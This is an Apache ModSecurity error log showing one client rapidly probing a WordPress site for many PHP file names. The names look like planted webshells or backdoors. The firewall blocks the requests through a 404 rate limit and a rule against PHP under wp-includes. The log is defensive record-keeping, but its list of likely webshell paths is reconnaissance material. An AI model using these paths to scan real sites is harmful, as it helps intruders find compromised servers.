[Thu Jan 08 01:07:43.893310 2026] [:error] [pid 50905:tid 50909] [client 4.189.122.79:3083] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aV6S32pNgk5-gt30I7bF-wAAAkI"]
[Thu Jan 08 01:07:44.122502 2026] [:error] [pid 50905:tid 50923] [client 4.189.122.79:3427] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aV6S4GpNgk5-gt30I7bF_AAAAlA"]
[Thu Jan 08 01:07:44.349280 2026] [:error] [pid 30632:tid 30642] [client 4.189.122.79:3135] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aV6S4Od3_LCpBJzo02c6CQAAAAY"]
[Thu Jan 08 01:07:44.593066 2026] [:error] [pid 50905:tid 50924] [client 4.189.122.79:3401] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aV6S4GpNgk5-gt30I7bF_gAAAlE"]
[Thu Jan 08 01:07:44.825176 2026] [:error] [pid 50905:tid 50917] [client 4.189.122.79:23060] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aV6S4GpNgk5-gt30I7bF_wAAAko"]
[Thu Jan 08 01:07:45.066637 2026] [:error] [pid 50905:tid 50928] [client 4.189.122.79:3425] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aV6S4WpNgk5-gt30I7bGAQAAAlU"]
[Thu Jan 08 01:07:45.295902 2026] [:error] [pid 50905:tid 50931] [client 4.189.122.79:23078] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-l0gin.php"] [unique_id "aV6S4WpNgk5-gt30I7bGAgAAAlg"]
[Thu Jan 08 01:07:45.523425 2026] [:error] [pid 30633:tid 30673] [client 4.189.122.79:23041] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-l0gin.php"] [unique_id "aV6S4fZiVWlF7303nMjYvQAAAEo"]
[Thu Jan 08 01:07:45.756146 2026] [:error] [pid 58330:tid 58337] [client 4.189.122.79:3420] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-l0gin.php"] [unique_id "aV6S4Q8kGngKGK7_wncxrAAAAQU"]
[Thu Jan 08 01:07:45.986742 2026] [:error] [pid 58330:tid 58348] [client 4.189.122.79:3403] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-l0gin.php"] [unique_id "aV6S4Q8kGngKGK7_wncxrQAAARA"]
[Thu Jan 08 01:07:46.213915 2026] [:error] [pid 58294:tid 58312] [client 4.189.122.79:23057] [client 4.189.122.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/admin.php"] [unique_id "aV6S4lfzA7c0ITpf3nFbPgAAAJA"]
[Thu Jan 08 01:07:46.445145 2026] [:error] [pid 50905:tid 50915] [client 4.189.122.79:3110] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/420.php"] [unique_id "aV6S4mpNgk5-gt30I7bGBgAAAkg"]
[Thu Jan 08 01:07:46.672395 2026] [:error] [pid 58330:tid 58354] [client 4.189.122.79:3168] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/420.php"] [unique_id "aV6S4g8kGngKGK7_wncxsQAAARY"]
[Thu Jan 08 01:07:46.898994 2026] [:error] [pid 58330:tid 58342] [client 4.189.122.79:3435] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/420.php"] [unique_id "aV6S4g8kGngKGK7_wncxtgAAAQo"]
[Thu Jan 08 01:07:47.132933 2026] [:error] [pid 50838:tid 50864] [client 4.189.122.79:3072] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aV6S47SweZ27JIN4H8vtowAAAdg"]
[Thu Jan 08 01:07:47.358950 2026] [:error] [pid 58330:tid 58334] [client 4.189.122.79:3159] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aV6S4w8kGngKGK7_wncxuQAAAQI"]
[Thu Jan 08 01:07:47.606656 2026] [:error] [pid 58330:tid 58337] [client 4.189.122.79:3189] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aV6S4w8kGngKGK7_wncxuwAAAQU"]
[Thu Jan 08 01:07:47.833036 2026] [:error] [pid 58330:tid 58348] [client 4.189.122.79:23046] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aV6S4w8kGngKGK7_wncxvQAAARA"]
[Thu Jan 08 01:07:48.059474 2026] [:error] [pid 51128:tid 51153] [client 4.189.122.79:3080] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadd5.php"] [unique_id "aV6S5EGjtE8U88mrwufLlwAAAZc"]
[Thu Jan 08 01:07:48.288513 2026] [:error] [pid 50838:tid 50856] [client 4.189.122.79:23044] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadd5.php"] [unique_id "aV6S5LSweZ27JIN4H8vtqAAAAdA"]
[Thu Jan 08 01:07:48.515317 2026] [:error] [pid 50870:tid 50888] [client 4.189.122.79:3432] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadd5.php"] [unique_id "aV6S5BlePfspAt1BzouXjQAAAhA"]
[Thu Jan 08 01:07:48.740961 2026] [:error] [pid 30632:tid 30658] [client 4.189.122.79:3415] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadd5.php"] [unique_id "aV6S5Od3_LCpBJzo02c6CgAAABY"]
[Thu Jan 08 01:07:48.968793 2026] [:error] [pid 58294:tid 58306] [client 4.189.122.79:3446] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file58.php"] [unique_id "aV6S5FfzA7c0ITpf3nFbRQAAAIo"]
[Thu Jan 08 01:07:49.201391 2026] [:error] [pid 50870:tid 50877] [client 4.189.122.79:3399] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file58.php"] [unique_id "aV6S5RlePfspAt1BzouXjwAAAgU"]
[Thu Jan 08 01:07:49.427656 2026] [:error] [pid 58294:tid 58299] [client 4.189.122.79:3095] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file58.php"] [unique_id "aV6S5VfzA7c0ITpf3nFbRwAAAIM"]
[Thu Jan 08 01:07:49.655105 2026] [:error] [pid 50838:tid 50855] [client 4.189.122.79:3073] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file58.php"] [unique_id "aV6S5bSweZ27JIN4H8vtqgAAAc8"]
[Thu Jan 08 01:07:49.890970 2026] [:error] [pid 50905:tid 50917] [client 4.189.122.79:3164] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0w1d.php"] [unique_id "aV6S5WpNgk5-gt30I7bGCAAAAko"]
[Thu Jan 08 01:07:50.116525 2026] [:error] [pid 58330:tid 58351] [client 4.189.122.79:23095] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0w1d.php"] [unique_id "aV6S5g8kGngKGK7_wncxxQAAARM"]
[Thu Jan 08 01:07:50.348738 2026] [:error] [pid 58330:tid 58334] [client 4.189.122.79:3148] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0w1d.php"] [unique_id "aV6S5g8kGngKGK7_wncxyAAAAQI"]
[Thu Jan 08 01:07:50.581579 2026] [:error] [pid 58294:tid 58317] [client 4.189.122.79:3412] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0w1d.php"] [unique_id "aV6S5lfzA7c0ITpf3nFbSQAAAJU"]
[Thu Jan 08 01:07:50.834310 2026] [:error] [pid 50838:tid 50850] [client 4.189.122.79:3075] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aV6S5rSweZ27JIN4H8vtrAAAAco"]
[Thu Jan 08 01:07:51.059987 2026] [:error] [pid 50905:tid 50911] [client 4.189.122.79:23068] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aV6S52pNgk5-gt30I7bGCQAAAkQ"]
[Thu Jan 08 01:07:51.299781 2026] [:error] [pid 30634:tid 30710] [client 4.189.122.79:3408] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aV6S54CIPBibObtmZtswEwAAANQ"]
[Thu Jan 08 01:07:51.526508 2026] [:error] [pid 50936:tid 50961] [client 4.189.122.79:3409] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aV6S57Dlg80QUdd5qc40NQAAApc"]
[Thu Jan 08 01:07:51.758678 2026] [:error] [pid 58294:tid 58313] [client 4.189.122.79:3439] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ma.php"] [unique_id "aV6S51fzA7c0ITpf3nFbSwAAAJE"]
[Thu Jan 08 01:07:51.989695 2026] [:error] [pid 50870:tid 50872] [client 4.189.122.79:3109] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ma.php"] [unique_id "aV6S5xlePfspAt1BzouXlgAAAgA"]
[Thu Jan 08 01:07:52.218056 2026] [:error] [pid 50838:tid 50857] [client 4.189.122.79:3104] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ma.php"] [unique_id "aV6S6LSweZ27JIN4H8vtrwAAAdE"]
[Thu Jan 08 01:07:52.445879 2026] [:error] [pid 30632:tid 30650] [client 4.189.122.79:23071] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ma.php"] [unique_id "aV6S6Od3_LCpBJzo02c6DQAAAA4"]
[Thu Jan 08 01:07:52.679179 2026] [:error] [pid 50870:tid 50885] [client 4.189.122.79:23064] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aV6S6BlePfspAt1BzouXlwAAAg0"]
[Thu Jan 08 01:07:52.907366 2026] [:error] [pid 50838:tid 50851] [client 4.189.122.79:3123] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aV6S6LSweZ27JIN4H8vtsQAAAcs"]
[Thu Jan 08 01:07:53.139922 2026] [:error] [pid 58330:tid 58338] [client 4.189.122.79:3407] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aV6S6Q8kGngKGK7_wncx1AAAAQY"]
[Thu Jan 08 01:07:53.366500 2026] [:error] [pid 30632:tid 30637] [client 4.189.122.79:23052] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aV6S6ed3_LCpBJzo02c6DwAAAAE"]
[Thu Jan 08 01:07:53.593962 2026] [:error] [pid 58330:tid 58348] [client 4.189.122.79:3107] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aV6S6Q8kGngKGK7_wncx1wAAARA"]
[Thu Jan 08 01:07:53.825160 2026] [:error] [pid 50905:tid 50928] [client 4.189.122.79:23081] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aV6S6WpNgk5-gt30I7bGCwAAAlU"]
[Thu Jan 08 01:07:54.051785 2026] [:error] [pid 58294:tid 58312] [client 4.189.122.79:3126] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aV6S6lfzA7c0ITpf3nFbTgAAAJA"]
[Thu Jan 08 01:07:54.279671 2026] [:error] [pid 50838:tid 50855] [client 4.189.122.79:3434] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aV6S6rSweZ27JIN4H8vttgAAAc8"]
[Thu Jan 08 01:07:54.508918 2026] [:error] [pid 30632:tid 30642] [client 4.189.122.79:3114] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f8.php"] [unique_id "aV6S6ud3_LCpBJzo02c6EwAAAAY"]
[Thu Jan 08 01:07:54.744802 2026] [:error] [pid 51128:tid 51147] [client 4.189.122.79:3125] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f8.php"] [unique_id "aV6S6kGjtE8U88mrwufLngAAAZE"]
[Thu Jan 08 01:07:54.977375 2026] [:error] [pid 50905:tid 50908] [client 4.189.122.79:3127] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f8.php"] [unique_id "aV6S6mpNgk5-gt30I7bGDAAAAkE"]
[Thu Jan 08 01:07:55.232447 2026] [:error] [pid 50870:tid 50891] [client 4.189.122.79:23066] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f8.php"] [unique_id "aV6S6xlePfspAt1BzouXmgAAAhM"]
[Thu Jan 08 01:07:55.463765 2026] [:error] [pid 30632:tid 30652] [client 4.189.122.79:3421] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower2.php"] [unique_id "aV6S6-d3_LCpBJzo02c6FAAAABA"]
[Thu Jan 08 01:07:55.700225 2026] [:error] [pid 51128:tid 51131] [client 4.189.122.79:3419] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower2.php"] [unique_id "aV6S60GjtE8U88mrwufLnwAAAYE"]
[Thu Jan 08 01:07:55.926454 2026] [:error] [pid 30633:tid 30669] [client 4.189.122.79:3106] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower2.php"] [unique_id "aV6S6_ZiVWlF7303nMjYvwAAAEY"]
[Thu Jan 08 01:07:56.158106 2026] [:error] [pid 58294:tid 58320] [client 4.189.122.79:3426] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower2.php"] [unique_id "aV6S7FfzA7c0ITpf3nFbUQAAAJg"]
[Thu Jan 08 01:07:56.384402 2026] [:error] [pid 58330:tid 58335] [client 4.189.122.79:3147] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aV6S7A8kGngKGK7_wncx6wAAAQM"]
[Thu Jan 08 01:07:56.616869 2026] [:error] [pid 58330:tid 58354] [client 4.189.122.79:3143] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aV6S7A8kGngKGK7_wncx7AAAARY"]
